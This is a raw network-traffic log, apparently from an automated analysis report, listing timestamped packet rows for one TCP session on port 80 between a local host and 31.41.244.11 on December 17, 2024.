Dec 17, 2024 08:03:40.360449076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.360497952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.361640930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.361704111 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.361732960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.361788988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.362868071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.362929106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.362996101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.363042116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.364152908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.364279032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.364280939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.364342928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.365415096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.365492105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.365494013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.365550995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.366709948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.366760969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.366830111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.366871119 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.367989063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.368052006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.368186951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.368235111 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.369251013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.369302034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.369362116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.369410038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.370527983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.370613098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.370660067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.370704889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.371803045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.371932030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.371942997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.373141050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.373204947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.373219013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.373258114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.374365091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.374413967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.374478102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.374521017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.375643015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.375755072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.375806093 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.376954079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.377079964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.377135992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.378206015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.378297091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.378298998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.378341913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.379489899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.379542112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.379605055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.379662991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.380763054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.380897999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.380945921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.381000996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.382054090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.382112980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.382145882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.382230997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.383306026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.383368015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.383398056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.383483887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.384571075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.384634018 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.384752035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.384830952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.385876894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.385930061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.385961056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.385979891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.387231112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.387265921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.387337923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.388371944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.388434887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.388475895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.388540983 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.389647961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.389705896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.389838934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.389902115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.390921116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.391006947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.391060114 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.391247034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.392175913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.392234087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.392297029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.392360926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.393461943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.393573046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.393594980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.393660069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.394741058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.394788027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.394869089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.395024061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.396003008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.396064997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.519073009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.519146919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.519243002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.519473076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.519551039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.519558907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.519634962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.520638943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.520735025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.520770073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.520863056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.521673918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.521780968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.521852016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.522758007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.522845984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.522891045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.522953987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.523844957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.523925066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.523997068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.524935961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.524997950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.525044918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.525109053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.526000977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.526072979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.526129007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.526185036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.527215004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.527280092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.527369022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.527430058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.528172016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.528239012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.528315067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.528434992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.529252052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.529310942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.529350996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.529408932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.530348063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.530406952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.530431986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.530467033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.531574965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.531644106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.531691074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.531755924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.532560110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.532659054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.532725096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.533610106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.533705950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.533770084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.534720898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.534775972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.534842014 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.535778046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.535897017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.535962105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.536858082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.536921978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.536966085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.537026882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.537908077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.537972927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.538034916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.538098097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.539026976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.539088011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.539150953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.539248943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.540103912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.540173054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.540209055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.540267944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.541140079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.541207075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.541270971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.541328907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.542330980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.542392015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.542480946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.542546988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.543363094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.543431997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.543447018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.543507099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.544428110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.544495106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.544532061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.544625044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.545514107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.545572042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.545644045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.545705080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.546591997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.546663046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.546710968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.546772957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.547661066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.547734022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.547779083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.547838926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.548779011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.548851013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.548916101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.549640894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.549865961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.549926043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.549976110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.550036907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.550972939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.551043034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.551091909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.551150084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.551999092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.552062988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.552119017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.552171946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.553076029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.553129911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.553195953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.553253889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.554137945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.554202080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.554265022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.554317951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.555268049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.555357933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.555488110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.555550098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.556323051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.556390047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.556446075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.556503057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.557425022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.557522058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.557591915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.557647943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.558482885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.558623075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.558682919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.559551001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.559676886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.559787035 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.560672998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.560826063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.560888052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.561760902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.561948061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.562009096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.562855005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.562912941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.562973022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.563302994 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.563940048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.563999891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.564074993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.564124107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.564986944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.565046072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.565102100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.565212011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.566071033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.566132069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.566175938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.566229105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.567167044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.567234993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.567292929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.568223000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.568279982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.568358898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.568412066 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.569315910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.569375992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.569452047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.569502115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.570419073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.570475101 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.570538044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.570636988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.571499109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.571558952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.571635008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.571697950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.572680950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.572802067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.572839022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.572890043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.573640108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.573704004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.573771000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.573824883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.574783087 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.574875116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.574932098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.575757027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.575855017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.711154938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.711241007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.711292028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.711348057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.711591959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.711642027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.711721897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.711772919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.712687969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.712907076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.712966919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.713766098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.713820934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.713887930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.714839935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.714984894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.715029001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.715084076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.715964079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.716018915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.716023922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.716062069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.717020988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.717072964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.717134953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.717343092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.718147993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.718199015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.718261003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.718316078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.719181061 CET	80	49900	31.41.244.11	192.168.2.5
